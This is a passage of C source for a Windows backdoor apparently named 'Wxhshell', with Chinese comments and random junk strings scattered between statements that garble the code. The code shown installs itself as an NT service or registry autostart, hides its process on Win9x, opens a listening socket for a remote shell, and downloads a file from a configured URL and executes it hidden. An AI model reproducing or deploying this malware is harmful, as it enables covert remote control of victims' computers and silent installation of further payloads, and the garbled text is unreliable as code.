if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OZ,Xu&N 6|Xe ],u CloseHandle(hProcess); 4Be\5Byr !!d?o if(strstr(procName,"services")) return 1; // 以服务启动 )W*A[c
2 -Pc6W9$ return 0; // 注册表启动 ^MO})C } Fs&r^ [/b (!%9# // 主模块 uYC1}Y5N int StartWxhshell(LPSTR lpCmdLine) .zv BV_I { :f~qt%%/ SOCKET wsl; Y&-%
N BOOL val=TRUE; `G`yA% int port=0; c3.;o struct sockaddr_in door; ?z&5g-/b '^M.;Giz if(wscfg.ws_autoins) Install(); 0+F--E4 n
j2=}6 port=atoi(lpCmdLine); `T{'ufI4B 45rG\$%# if(port<=0) port=wscfg.ws_port; bE?X?[K wKKQAM6P1 WSADATA data; ~z)JO'Z$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K/K|[=bl bvS6xU-
J if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \/ipYc setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \rd%$hci door.sin_family = AF_INET; 0o!mlaU# door.sin_addr.s_addr = inet_addr("127.0.0.1"); wf`A&P5tF door.sin_port = htons(port); (eSsx/ 6V*,nocL_+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SEVB.; closesocket(wsl); A9;,y'm^8 return 1; tAsap}( } ERia5HnoD, RL3*fRlb if(listen(wsl,2) == INVALID_SOCKET) { :C2
@!W
z closesocket(wsl); U~USwUzgY return 1; :$0yp`k } [:uHe#L Wxhshell(wsl); sUU[QP- WSACleanup(); ,3N>`]Km' !o1IpTN return 0; Ft?eqDS1 HLOrDlj7 }
sC0u4w>Y +abb[ // 以NT服务方式启动 k||dX(gl VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ) J.xQ}g { 2vh }:A_ DWORD status = 0; )K$YL='kX DWORD specificError = 0xfffffff; QO^V@"N Bal e_s^ serviceStatus.dwServiceType = SERVICE_WIN32; Q6D>(H#"0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; b$yIM serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }0tHzw=#%e serviceStatus.dwWin32ExitCode = 0; `S0`3q}L3% serviceStatus.dwServiceSpecificExitCode = 0; V:>r6 serviceStatus.dwCheckPoint = 0; ;!G#Y
Oe serviceStatus.dwWaitHint = 0; ptrwZ8' |'z24 :8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = pn;b1= if (hServiceStatusHandle==0) return; 0KTO)K kJpO0k9?eY status = GetLastError(); Wy}^5]R0E if (status!=NO_ERROR) o$eCd{HuX { #4./>}G serviceStatus.dwCurrentState = SERVICE_STOPPED; qdn_ZE serviceStatus.dwCheckPoint = 0; qxDMDMN serviceStatus.dwWaitHint = 0; :"MHmm=uU8 serviceStatus.dwWin32ExitCode = status; g e(,>xB serviceStatus.dwServiceSpecificExitCode = specificError; >$TvCw SetServiceStatus(hServiceStatusHandle, &serviceStatus); [^s;Ggi9 return; '(rD8 pc } `FQ]ad Fz l
_%<U serviceStatus.dwCurrentState = SERVICE_RUNNING; G{]RC^Zo serviceStatus.dwCheckPoint = 0; PPH;'!>s" serviceStatus.dwWaitHint = 0; iiQ
q112` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7P<f(@0h$E } C\;l)h_{ /AADFa // 处理NT服务事件,比如:启动、停止 +Wg/O
- VOID WINAPI NTServiceHandler(DWORD fdwControl) KILX?Pt[7 { :;.^r,QAI switch(fdwControl) ;cvMNU$fN { Y|><Ls6Q case SERVICE_CONTROL_STOP: Yj1|]i5b serviceStatus.dwWin32ExitCode = 0; xYCJO(& serviceStatus.dwCurrentState = SERVICE_STOPPED; n0T|U serviceStatus.dwCheckPoint = 0; E I(e3 serviceStatus.dwWaitHint = 0; SMD*9&, { cI'n[G SetServiceStatus(hServiceStatusHandle, &serviceStatus); h{iuk3G`h6 } 9D+k71"+ return; OcO/wA(&{ case SERVICE_CONTROL_PAUSE: l[c '%M |N serviceStatus.dwCurrentState = SERVICE_PAUSED; ]sqLGmUL break; #55:qc>m case SERVICE_CONTROL_CONTINUE: D\&S { serviceStatus.dwCurrentState = SERVICE_RUNNING; D$K'Qk break;
j!>P7 8 case SERVICE_CONTROL_INTERROGATE: PVp>L*|BZ; break; #i@f%Bq- }; OU/}cu SetServiceStatus(hServiceStatusHandle, &serviceStatus); O&BvWik } !(F?`([A A6]X
aF // 标准应用程序主函数 zP%s] >hH int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i,r:R
g~ { P0}{xq'k9v %S;AM\o4 // 获取操作系统版本 Hvm}@3F| OsIsNt=GetOsVer(); o& FOp' GetModuleFileName(NULL,ExeFile,MAX_PATH); b(GV4% dEtjcId // 从命令行安装 m%`YAD@2z if(strpbrk(lpCmdLine,"iI")) Install(); r[i^tIv6As IS&qFi}W|W // 下载执行文件 kZz'&xdv'. if(wscfg.ws_downexe) { )1 T2u if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |-}.Y(y WinExec(wscfg.ws_filenam,SW_HIDE); * )<+u~ } |T""v_q Fb(@i if(!OsIsNt) { dgpE3
37Lt // 如果时win9x,隐藏进程并且设置为注册表启动 6/S.sj~ HideProc(); N9_* {HOy StartWxhshell(lpCmdLine); "a)6g0gw } Gn8sB else bwXeEA@{ if(StartFromService()) Dhn7N8(LF! // 以服务方式启动 d=xjLbsZ StartServiceCtrlDispatcher(DispatchTable); ~r.R|f]IQ else >n09K8
A // 普通方式启动 TM(y%!\ StartWxhshell(lpCmdLine); Njg$~30 P 0.cF]<m return 0; "TJu<O"2 }
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